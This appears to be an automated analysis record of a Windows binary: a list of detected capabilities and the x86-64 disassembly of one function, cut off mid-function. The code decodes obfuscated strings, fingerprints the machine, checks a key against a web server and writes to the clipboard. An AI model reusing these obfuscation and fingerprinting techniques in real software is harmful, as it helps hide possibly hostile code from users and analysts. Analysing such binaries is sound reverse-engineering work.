Function at 0x7ff765975dd0
Capabilities:
Check http status code
Create thread
Delete registry value
Encode data using xor
Enumerate processes
Execute command
Get disk information
Open clipboard
Query or enumerate registry key
Query or enumerate registry value
Set registry value
Terminate process
Write and execute a file
Write clipboard data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2120]
mov eax, 0x2220
call fcn.7ff7659fb1a0
sub rsp, rax
mov rax, qword [0x7ff765a28900]
xor rax, rsp
mov qword [rbp + 0x2110], rax
xor r14d, r14d
mov dword [rsp + 0x64], r14d
lea rdx, [rbp + 0xa00]
call fcn.7ff76597af40
mov r10, rax
mov rbx, rax
mov r8, rax
mov r12d, 0x15
mov r9d, r12d
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rbx]
shr dl, 1
movzx ecx, byte [rbx]
shl cl, 7
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x7f
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765975e40
mov rcx, r10
call fcn.7ff7659717a0
lea rcx, [rbp + 0x680]
call fcn.7ff76597e040
nop
lea rcx, [rbp + 0x680]
call fcn.7ff765973940
nop
lea rcx, [rbp + 0x680]
call fcn.7ff7659727a0
lea rcx, [rbp + 0x6a0]
call fcn.7ff76597e080
nop
lea rcx, [rbp + 0x6a0]
call fcn.7ff765973940
nop
lea rcx, [rbp + 0x6a0]
call fcn.7ff7659727a0
lea rdx, [0x7ff765a1a488]
lea rcx, [rbp + 0x6c0]
call fcn.7ff76597e0c0
nop
lea rcx, [rbp + 0x6c0]
call fcn.7ff765973940
nop
lea rcx, [rbp + 0x6c0]
call fcn.7ff7659727a0
lea rcx, [rbp + 0x6e0]
call fcn.7ff76597e120
nop
lea rcx, [rbp + 0x6e0]
call fcn.7ff765973940
nop
lea rcx, [rbp + 0x6e0]
call fcn.7ff7659727a0
lea rax, [0x7ff765a1a4a8]
mov qword [rbp + 0x10], rax
mov r13d, 9
mov qword [rbp + 0x18], r13
call fcn.7ff7659f9ec0
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x630], xmm0
lea r8, [rbp + 0x630]
mov edx, eax
lea rcx, [rbp + 0x260]
call fcn.7ff7659721a0
mov dword [rsp + 0x64], 0x6000000
lea rcx, [rbp + 0x260]
cmp qword [rbp + 0x278], 7
cmova rcx, qword [rbp + 0x260]
call fcn.7ff7659fa120
shr rax, 0x20
test eax, eax
jne 0x7ff76597ae92
mov rdx, qword [rbp + 0x278]
cmp rdx, 7
jbe 0x7ff765975fbe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765975fb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7659785d8
call fcn.7ff7659fad04
mov qword [rbp + 0x270], r14
mov qword [rbp + 0x278], 7
mov word [rbp + 0x260], r14w
mov rcx, qword gs:[0x1ac]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff765976008
movzx eax, byte [rbp + 0x133725ff]
mov byte [rbp + 0xda8], al
lea rcx, [rbp + 0xda8]
call fcn.7ff7659717a0
movups xmm0, xmmword [0x7ff765a1a690]
movups xmmword [rbp + 0x2a0], xmm0
movzx eax, word [0x7ff765a1a6a0]
mov word [rbp + 0x2b0], ax
movzx eax, byte [0x7ff765a1a6a2]
mov byte [rbp + 0x2b2], al
lea rdx, [rbp + 0x2a0]
lea rbx, [rbp + 0x2a0]
mov r8d, 0x13
nop word [rax + rax]
movzx eax, byte [rdx]
movzx ecx, byte [rdx]
add cl, cl
shr al, 7
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x7a
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x7ff765976050
lea rcx, [rbp + 0x2a0]
call fcn.7ff7659717a0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe00], xmm0
mov qword [rbp + 0xe10], r14
mov qword [rbp + 0xe18], r14
xor r8d, r8d
lea rdx, [0x7ff765a1a3a1]
lea rcx, [rbp + 0xe00]
call fcn.7ff76597e990
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1dc0], xmm0
mov eax, 0x80000001
xor ecx, ecx
cpuid
mov dword [rbp + 0x1dc0], eax
mov dword [rbp + 0x1dc4], ebx
mov dword [rbp + 0x1dc8], ecx
mov dword [rbp + 0x1dcc], edx
mov r8d, 0x10
lea rdx, [rbp + 0x1dc0]
lea rcx, [rbp + 0x478]
call fcn.7ff76597c980
nop
mov rdx, rax
lea rcx, [rbp + 0xe00]
call fcn.7ff76597c770
nop
mov rdx, qword [rbp + 0x490]
cmp rdx, 0xf
jbe 0x7ff765976146
inc rdx
mov rcx, qword [rbp + 0x478]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765976141
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff765977898
call fcn.7ff7659fad04
mov qword [rbp + 0x488], r14
mov edi, 0xf
mov qword [rbp + 0x490], rdi
mov byte [rbp + 0x478], 0
mov dword [rbp + 0xdb0], r14d
lea rdx, [rbp + 0x440]
lea rcx, [rbp - 0x20]
call fcn.7ff7659745c0
mov r10, rax
mov rbx, rax
mov r8, rax
lea r9d, [rdi - 0xa]
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rbx]
shr dl, 7
movzx ecx, byte [rbx]
add cl, cl
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x7d
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765976190
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xdb0]
xor r8d, r8d
xor edx, edx
mov rcx, r10
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
cmp dword [rbp + 0xdb0], 0
jne 0x7ff765976367
lea rcx, [rbp + 0x458]
call fcn.7ff765973c40
nop
lea rdx, [rbp + 0x4b8]
mov rcx, rax
call fcn.7ff7659726b0
nop
lea rdx, [rbp + 0x498]
mov rcx, rax
call fcn.7ff765972690
cmp qword [rax + 0x18], 0xf
jbe 0x7ff765976222
mov rax, qword [rax]
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xdb0]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x7ff76597628f
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597628a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597628a
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x4a8], r14
mov qword [rbp + 0x4b0], rdi
mov byte [rbp + 0x498], 0
mov rdx, qword [rbp + 0x4d0]
cmp rdx, 7
jbe 0x7ff7659762ed
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7659762e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7659762e8
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x4c8], r14
mov qword [rbp + 0x4d0], 7
mov word [rbp + 0x4b8], r14w
mov rdx, qword [rbp + 0x470]
cmp rdx, 7
jbe 0x7ff76597634d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x458]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765976348
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff765977898
call fcn.7ff7659fad04
mov qword [rbp + 0x468], r14
mov qword [rbp + 0x470], 7
mov word [rbp + 0x458], r14w
mov r8d, 4
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0x4d8]
call fcn.7ff76597c980
nop
mov rdx, rax
lea rcx, [rbp + 0xe00]
call fcn.7ff76597c770
nop
mov rdx, qword [rbp + 0x4f0]
cmp rdx, 0xf
jbe 0x7ff7659763d2
inc rdx
mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7659763cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff765977898
call fcn.7ff7659fad04
mov qword [rbp + 0x4e8], r14
mov qword [rbp + 0x4f0], rdi
mov byte [rbp + 0x4d8], 0
lea rdx, [rbp + 0xb88]
lea rcx, [rbp - 0x1f]
call fcn.7ff765974630
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0x20
nop word [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 3
shr cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x78
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765976410
lea rax, [rbp + 0xd80]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r10
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x7ff765976578
mov dword [rbp + 0xd58], 0x100
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp - 0x1e]
call fcn.7ff7659746a0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0xc
nop dword [rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 6
shr cl, 2
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x77
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765976490
lea rax, [rbp + 0xd58]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1e10]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, r10
mov rcx, qword [rbp + 0xd80]
call qword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x7ff76597656b
mov r8d, dword [rbp + 0xd58]
lea rdx, [rbp + 0x1e10]
lea rcx, [rbp + 0x4f8]
call fcn.7ff76597c980
nop
mov rdx, rax
lea rcx, [rbp + 0xe00]
call fcn.7ff76597c770
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x7ff765976556
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765976551
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff765977898
call fcn.7ff7659fad04
mov qword [rbp + 0x508], r14
mov qword [rbp + 0x510], rdi
mov byte [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0xd80]
call qword [sym.imp.advapi32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1dd0], xmm0
movups xmmword [rbp + 0x1de0], xmm0
movups xmmword [rbp + 0x1df0], xmm0
movups xmmword [rbp + 0x1e00], xmm0
lea rdx, [rbp + 0xe00]
cmp qword [rbp + 0xe18], 0xf
cmova rdx, qword [rbp + 0xe00]
mov r8, qword [rbp + 0xe10]
lea rcx, [rbp + 0x1dd0]
call fcn.7ff7659e3a80
test eax, eax
je 0x7ff765976635
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp - 0x1d]
call fcn.7ff765974710
mov r9, rax
mov rbx, rax
mov r8, rax
nop
movzx edx, byte [rbx]
shr dl, 1
movzx ecx, byte [rbx]
shl cl, 7
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x72
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r12, 1
jne 0x7ff7659765e0
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
xorps xmm0, xmm0
movups xmmword [rbp + 0xdb8], xmm0
mov qword [rbp + 0xdc8], r14
mov qword [rbp + 0xdd0], r14
xor r8d, r8d
lea rdx, [0x7ff765a1a3a1]
lea rcx, [rbp + 0xdb8]
call fcn.7ff76597e990
nop
movdqa xmm0, xmmword [0x7ff765a1ad30]
movdqu xmmword [rbp + 0x448], xmm0
mov ebx, r14d
lea rdi, [rbp + 0x1dd0]
nop
movzx esi, byte [rdi]
mov eax, esi
and eax, 0xf
movzx r9d, byte [rbp + rax + 0x448]
mov rcx, qword [rbp + 0xdc8]
mov rdx, qword [rbp + 0xdd0]
cmp rcx, rdx
jae 0x7ff7659766cd
lea rax, [rcx + 1]
mov qword [rbp + 0xdc8], rax
lea rax, [rbp + 0xdb8]
cmp rdx, 0xf
cmova rax, qword [rbp + 0xdb8]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff7659766d9
lea rcx, [rbp + 0xdb8]
call fcn.7ff76597ed30
mov rax, rsi
shr rax, 4
movzx r9d, byte [rbp + rax + 0x448]
mov rcx, qword [rbp + 0xdc8]
mov rdx, qword [rbp + 0xdd0]
cmp rcx, rdx
jae 0x7ff765976725
lea rax, [rcx + 1]
mov qword [rbp + 0xdc8], rax
lea rax, [rbp + 0xdb8]
cmp rdx, 0xf
cmova rax, qword [rbp + 0xdb8]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff765976731
lea rcx, [rbp + 0xdb8]
call fcn.7ff76597ed30
inc ebx
inc rdi
cmp ebx, 0x40
jb 0x7ff765976680
lea rdx, [rbp + 0xb28]
lea rcx, [rbp - 0x1c]
call fcn.7ff765974790
mov r10, rax
mov rbx, rax
mov r8, rax
mov esi, 0x1f
mov r9d, esi
movzx edx, byte [rbx]
shr dl, 3
movzx ecx, byte [rbx]
shl cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x71
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765976760
xorps xmm0, xmm0
movups xmmword [rbp + 0xe50], xmm0
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0xe68], r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [r10 + r8], 0
jne 0x7ff7659767a6
mov rdx, r10
lea rcx, [rbp + 0xe50]
call fcn.7ff76597e990
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x1180]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp - 0x1b]
call fcn.7ff765974820
mov r10, rax
mov rbx, rax
mov r8, rax
mov r15d, 0xd
mov r9d, r15d
nop word [rax + rax]
movzx edx, byte [rbx]
shr dl, 4
movzx ecx, byte [rbx]
shl cl, 4
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x4c
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765976800
mov rdx, r10
lea rcx, [rbp + 0x1180]
call fcn.7ff76597c230
nop
cmp qword [rbp + 0x1210], 0
je 0x7ff765976893
lea rdi, [0x7ff765a28980]
mov rdx, rdi
lea rcx, [rbp + 0x1180]
call fcn.7ff76597ddd0
lea rcx, [rbp + 0x1190]
call fcn.7ff76597cd30
test rax, rax
jne 0x7ff7659769cd
mov rax, qword [rbp + 0x1180]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1180]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
jmp 0x7ff7659769cd
lea rdx, [rbp + 0xa90]
lea rcx, [rbp - 0x1a]
call fcn.7ff7659748a0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 0x18
movzx edx, byte [rbx]
shr dl, 7
movzx ecx, byte [rbx]
add cl, cl
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x4b
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659768b2
mov rcx, r10
call fcn.7ff7659717a0
lea rdi, [0x7ff765a28980]
mov rdx, rdi
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.7ff76597ddd0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1290]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp - 0x19]
call fcn.7ff765974920
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9, r15
nop word [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 6
shr cl, 2
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x46
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765976930
mov rdx, r10
lea rcx, [rbp + 0x1290]
call fcn.7ff76597b480
nop
mov rdx, rdi
cmp qword [0x7ff765a28998], 0xf
cmova rdx, qword [0x7ff765a28980]
mov r8, qword [0x7ff765a28990]
lea rcx, [rbp + 0x1290]
call fcn.7ff765980370
lea rcx, [rbp + 0x1298]
call fcn.7ff76597cd30
test rax, rax
jne 0x7ff7659769c1
mov rax, qword [rbp + 0x1290]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1290]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.msvcp140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x1290]
call fcn.7ff7659742c0
lea rdx, [rbp + 0xc30]
lea rcx, [rbp - 0x18]
call fcn.7ff7659749a0
mov r10, rax
mov rbx, rax
mov r8, rax
mov r14d, 0x81
mov r9d, r14d
nop
movzx edx, byte [rbx]
shr dl, 6
movzx ecx, byte [rbx]
shl cl, 2
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x45
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff7659769f0
mov rdx, r10
mov rcx, rdi
call fcn.7ff76597daa0
test al, al
je 0x7ff765976aaa
lea rdx, [rbp + 0xae8]
lea rcx, [rsp + 0x68]
call fcn.7ff765974a60
mov r10, rax
mov rbx, rax
mov r9, rax
mov r8d, 0x1c
nop word [rax + rax]
movzx edx, byte [rbx]
shr dl, 6
movzx ecx, byte [rbx]
shl cl, 2
or dl, cl
mov byte [r9], dl
movzx eax, byte [rbx]
xor al, 0x40
mov byte [r9], al
lea r9, [r9 + 1]
lea rbx, [rbx + 1]
sub r8, 1
jne 0x7ff765976a50
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
mov r9, r10
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
xor edx, edx
mov r8d, 0x138
lea rcx, [rbp + 0x1710]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x7ff765a28990]
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rbp + 0xe60]
sub rax, rdx
cmp rax, rcx
jb 0x7ff76597aea8
lea r9, [rbp + 0xe50]
cmp qword [rbp + 0xe68], 0xf
cmova r9, qword [rbp + 0xe50]
cmp qword [0x7ff765a28998], 0xf
cmova rdi, qword [0x7ff765a28980]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0xe50]
movzx edx, byte [rsp + 0x68]
lea rcx, [rbp + 0x240]
call fcn.7ff7659800e0
movups xmm2, xmmword [rbp + 0x240]
movups xmmword [rbp + 0x518], xmm2
movups xmm1, xmmword [rbp + 0x250]
movups xmmword [rbp + 0x528], xmm1
xor ebx, ebx
mov edi, 0xf
movups xmmword [rbp + 0x390], xmm2
movups xmmword [rbp + 0x3a0], xmm1
mov qword [rbp + 0x528], rbx
mov qword [rbp + 0x530], rdi
mov byte [rbp + 0x518], bl
lea rax, [0x7ff7659feca8]
mov qword [rbp + 0x388], rax
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], rdi
mov byte [rbp + 0x240], bl
xor edx, edx
mov r8d, 0x2e8
lea rcx, [rbp + 0x1ad0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x1ad0]
call fcn.7ff765981650
nop
lea rdx, [rbp + 0x388]
lea rcx, [rbp + 0x1ad0]
call fcn.7ff765982530
lea rdx, [rbp + 0x1710]
lea rcx, [rbp + 0x1ad0]
call fcn.7ff765981f60
mov dword [rsp + 0x64], 0x1e000000
lea rcx, [rbp + 0x1ad0]
call fcn.7ff76597f570
nop
mov rdx, qword [rbp + 0x3a8]
cmp rdx, rdi
jbe 0x7ff765976c33
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765976c2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7659777cc
call fcn.7ff7659fad04
mov qword [rbp + 0x3a0], rbx
mov qword [rbp + 0x3a8], rdi
mov byte [rbp + 0x390], 0
cmp dword [rbp + 0x1720], 0xc8
je 0x7ff765976cc9
lea rdx, [rbp + 0xa60]
lea rcx, [rbp - 0x17]
call fcn.7ff765974ae0
mov r9, rax
mov rbx, rax
mov r8, rax
mov edi, 0x16
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 5
shr cl, 3
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x5f
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x7ff765976c72
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
lea rdx, [rbp + 0x1728]
lea rcx, [rbp + 0xde0]
call fcn.7ff76597c9b0
nop
lea rdx, [rbp - 0x16]
lea rcx, [rbp - 0x15]
call fcn.7ff765974bd0
movzx ecx, byte [rax]
movzx edx, byte [rax]
shl dl, 3
shr cl, 5
or dl, cl
mov byte [rax], dl
movzx ecx, byte [rax]
xor cl, 0x6d
mov byte [rax], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], rbx
mov qword [rbp + 0x238], rbx
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x7ff765976d24
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.7ff76597e990
nop
lea rdx, [rbp + 0xd4]
lea rcx, [rbp - 0x14]
call fcn.7ff765974b60
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 2
nop dword [rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 3
shr cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x6e
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765976d60
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xor ebx, ebx
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], rbx
mov r8, rdi
inc r8
cmp byte [r10 + r8], bl
jne 0x7ff765976da4
mov rdx, r10
lea rcx, [rbp + 0x180]
call fcn.7ff76597e990
nop
lea rcx, [rbp + 0x180]
call fcn.7ff76597c5c0
test al, al
jne 0x7ff765976e43
xor r8d, r8d
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0xde0]
call fcn.7ff76597c580
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x7ff765976e41
nop dword [rax]
lea rcx, [rbp + 0x180]
call fcn.7ff76597c690
mov r8, rax
lea r9, [rbp + 0x220]
mov rdx, rbx
lea rcx, [rbp + 0xde0]
call fcn.7ff76597c6b0
lea rcx, [rbp + 0x220]
call fcn.7ff76597c690
lea r8, [rax + rbx]
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0xde0]
call fcn.7ff76597c580
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff765976df0
xor ebx, ebx
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x7ff765976e87
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765976e82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff765976e82
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x190], rbx
mov edi, 0xf
mov qword [rbp + 0x198], rdi
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, rdi
jbe 0x7ff765976ee1
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765976edc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff76597770f
call fcn.7ff7659fad04
mov qword [rbp + 0x230], rbx
mov qword [rbp + 0x238], rdi
mov byte [rbp + 0x220], 0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp - 0x13]
call fcn.7ff765974c40
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 2
nop word [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
add dl, dl
shr cl, 7
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x68
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765976f20
mov rdx, r10
lea rcx, [rbp + 0xde0]
call fcn.7ff76597daa0
test al, al
je 0x7ff765977036
lea rcx, [rbp + 0xdb8]
call fcn.7ff76597c690
lea rdx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GlobalAlloc]
mov rdi, rax
lea rcx, [rbp + 0xdb8]
call fcn.7ff76597c690
mov rbx, rax
lea rcx, [rbp + 0xdb8]
call fcn.7ff76597c6a0
mov rdx, rax
lea r8, [rbx + 1]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
xor ecx, ecx
call qword [sym.imp.user32.dll_OpenClipboard]
call qword [sym.imp.user32.dll_EmptyClipboard]
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.user32.dll_SetClipboardData]
call qword [sym.imp.user32.dll_CloseClipboard]
lea rdx, [rbp + 0xb48]
lea rcx, [rbp - 0x3f]
call fcn.7ff765974cb0
mov r9, rax
mov rbx, rax
mov r8, rax
nop dword [rax]
movzx edx, byte [rbx]
shr dl, 1
movzx ecx, byte [rbx]
shl cl, 7
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x67
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub rsi, 1
jne 0x7ff765976fe0
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
lea rdx, [rbp + 0xdc]
lea rcx, [rbp - 0x12]
call fcn.7ff765974d40
mov r10, rax
mov rbx, rax
mov r8, rax
mov r9d, 2
nop word [rax + rax]
movzx edx, byte [rbx]
shr dl, 3
movzx ecx, byte [rbx]
shl cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x62
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r9, 1
jne 0x7ff765977060
mov rdx, r10
lea rcx, [rbp + 0xde0]
call fcn.7ff76597daa0
test al, al
je 0x7ff7659774d4
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp - 0x11]
call fcn.7ff765974380
mov rsi, rax
mov rbx, rax
mov r8, rax
mov r9, r12
nop word [rax + rax]
movzx ecx, byte [rbx]
